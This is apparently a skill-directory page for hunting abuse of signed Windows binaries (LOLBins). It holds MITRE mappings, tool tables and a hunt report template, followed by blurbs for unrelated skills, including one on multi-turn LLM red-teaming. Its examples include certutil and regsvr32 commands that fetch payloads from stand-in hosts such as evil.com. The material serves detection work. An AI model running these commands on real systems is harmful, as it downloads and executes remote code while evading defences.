external/anthropic-cybersecurity-skills/skills/hunting-for-living-off-the-land-binaries/SKILL.md
Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.
npx skillsauth add seikaikyo/dash-skills hunting-for-living-off-the-land-binariesInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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| Concept | Description | |---------|-------------| | LOLBin | Legitimate OS binary abused by attackers for malicious purposes | | LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts | | T1218 | MITRE ATT&CK - Signed Binary Proxy Execution | | T1218.001 | Compiled HTML File (mshta.exe) | | T1218.002 | Control Panel (control.exe) | | T1218.003 | CMSTP | | T1218.005 | Mshta | | T1218.010 | Regsvr32 | | T1218.011 | Rundll32 | | T1197 | BITS Jobs (bitsadmin.exe) | | T1140 | Deobfuscate/Decode Files (certutil.exe) | | Proxy Execution | Using trusted binaries to execute untrusted code | | Fileless Attack | Attack that operates primarily in memory without dropping files |
| Tool | Purpose | |------|---------| | CrowdStrike Falcon | EDR telemetry and process tree analysis | | Microsoft Defender for Endpoint | Advanced hunting with KQL queries | | Splunk | SIEM log aggregation and SPL queries | | Elastic Security | Detection rules and timeline investigation | | Sysmon | Detailed process creation and network logging | | LOLBAS Project | Reference database of LOLBin capabilities | | Sigma Rules | Generic detection rule format for LOLBins | | Velociraptor | Endpoint forensic collection and hunting |
certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.mshta.exe, which is a signed Microsoft binary.rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.bitsadmin /transfer.Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.